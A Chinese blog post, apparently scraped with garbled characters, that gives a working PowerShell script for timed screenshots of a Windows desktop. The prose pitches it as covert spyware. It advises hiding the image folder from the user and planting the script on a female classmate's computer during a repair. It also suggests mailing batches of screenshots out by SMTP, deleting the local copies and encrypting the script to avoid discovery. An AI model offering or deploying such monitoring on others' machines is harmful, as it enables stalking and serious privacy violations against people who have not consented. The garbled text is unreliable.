PowerShell定时抓取屏幕图像

     昨天的博文写了定时记录操做系统行为,其实说白了就是抓取了击键的记录和对应窗口的标题栏,而不少应用程序标题栏又包含当时记录的文件路径和文件名,用这种方式能够大体记录操做了哪些程序,打开了哪些文件,以及敲击了哪些按键。事实上这样记录操做系统的行为显得相对单薄一点,由于记录的内容不太形象,对于新手来讲太过于隐晦了,对于人类来讲,图像会比文字更加有利于用户理解。当操做系统不方便装屏幕记录软件,但又须要看已经登陆用户在干什么的时候,用PowerShell的脚原本实现定时抓取图像的方式记录操做,查看图像就知道登录用户作了什么,固然你存放图片的目录要隐蔽,不要让用户发现了为好。html

     固然对于在学校计算机系的屌丝们,这个功能也能够用来了解本身的女神有什么喜爱了。什么?咋把脚本安装到女神的电脑里?咋把抓的图片返回给你?拜托,这么简单的问题,还须要我帮你找答案么?女神的电脑坏了,一般都会找一个熟悉电脑软硬件的计算机系的童鞋来修的,修的时候悄悄动点手脚。图片返回的问题呢,彻底能够定时抓取,而后抓取必定数量以后打包发到指定邮箱,而后删除本地图片嘛。什么?不知道PowerShell咋发邮件…你妹的,用System.Net.Mail.MailMessage组件调用SMTP发送邮件你不会?我之前写过相似文章的…好吧,送佛送到西,本身去看吧《使用PowerShell经过Smtp发送邮件》。还有就是写的脚本务必要加密,至于加密方式方法嘛,改天吧,改天专门写一篇文章写关于PowerShell脚本加密,这种事情嘛,若是被女神发现鸟,那但是吃不了兜着走的事啊。还有出去别告诉别人,我给你出的这主意,还有隐私的东西,本身把握好度,若是警察蜀黍请你去喝茶了可就很差玩了。本故事纯属虚构,若有雷同纯属巧合,本人只提供创意,若是具体实施被女神打破头,或者被警察蜀黍请去喝茶了,本人概不负任何法律责任哈。嘿嘿,很少扯了,先上今天的定时抓取屏幕图像的方法。shell

     其实方法不复杂,写了一个抓取屏幕的函数,定时执行,将抓取的图片存入指定位置,若是达到终止的时间,结束执行.代码不复杂,有看不懂的兄弟能够留言,我帮你解答。less

接下来上代码:函数

        =====文件名:Get-TimedScreenshot.ps1=====
function Get-TimedScreenshot {
<#
    Author:fuhj(powershell#live.cn ,http://fuhaijun.com) 
    Takes screenshots at a regular interval and saves them to disk.
.PARAMETER Path
    Specifies the folder path.
.PARAMETER Interval
    Specifies the interval in seconds between taking screenshots.
.Parameter EndTime
    Specifies when the script should stop running in the format HH-MM 
.Example
    Get-TimedScreenshot -Path c:\temp\ -Interval 30 -EndTime 14:00
#>

    [CmdletBinding()] Param(
        [Parameter(Mandatory=$True)]             
        [ValidateScript({Test-Path -Path $_ })]
        [String] $Path, 

        [Parameter(Mandatory=$True)]             
        [Int32] $Interval,

        [Parameter(Mandatory=$True)]             
        [String] $EndTime    
    )

    #Define helper function that generates and saves screenshot
    Function Get-Screenshot {
       $ScreenBounds = [Windows.Forms.SystemInformation]::VirtualScreen
       $ScreenshotObject = New-Object Drawing.Bitmap $ScreenBounds.Width, $ScreenBounds.Height
       $DrawingGraphics = [Drawing.Graphics]::FromImage($ScreenshotObject)
       $DrawingGraphics.CopyFromScreen( $ScreenBounds.Location, [Drawing.Point]::Empty, $ScreenBounds.Size)
       $DrawingGraphics.Dispose()
       $ScreenshotObject.Save($FilePath)
       $ScreenshotObject.Dispose()
    }
    Try {

        #load required assembly
        Add-Type -Assembly System.Windows.Forms            

        Do {
            #get the current time and build the filename from it
            $Time = (Get-Date)

            [String] $FileName = "$($Time.Month)"
            $FileName += '-'
            $FileName += "$($Time.Day)" 
            $FileName += '-'
            $FileName += "$($Time.Year)"
            $FileName += '-'
            $FileName += "$($Time.Hour)"
            $FileName += '-'
            $FileName += "$($Time.Minute)"
            $FileName += '-'
            $FileName += "$($Time.Second)"
            $FileName += '.png'

            #use join-path to add path to filename
            [String] $FilePath = (Join-Path $Path $FileName)

            #run screenshot function
            Get-Screenshot

            Write-Verbose "Saved screenshot to $FilePath. Sleeping for $Interval seconds"

            Start-Sleep -Seconds $Interval
        }

        #note that this will run once regardless if the specified time as passed
        While ((Get-Date -Format HH:mm) -lt $EndTime)
    }

    Catch {Write-Error $Error[0].ToString() + $Error[0].InvocationInfo.PositionMessage}
}

 

执行方式,以下图所示:网站

 image

执行效果,会在指定的目录,按照时间间隔生成桌面抓图,相似以下图所示.ui

image

哥,只能帮你到这了!兄弟们好自为之吧!this

 

做者: 付海军
版权:本文版权归做者全部
转载:欢迎转载,为了保存做者的创做热情,请按要求【转载】,谢谢
要求:未经做者赞成,必须保留此段声明;必须在文章中给出原文链接且保证内容完整!不然必究法律责任!
我的网站: http://www.fuhaijun.com/加密

相关文章
相关标签/搜索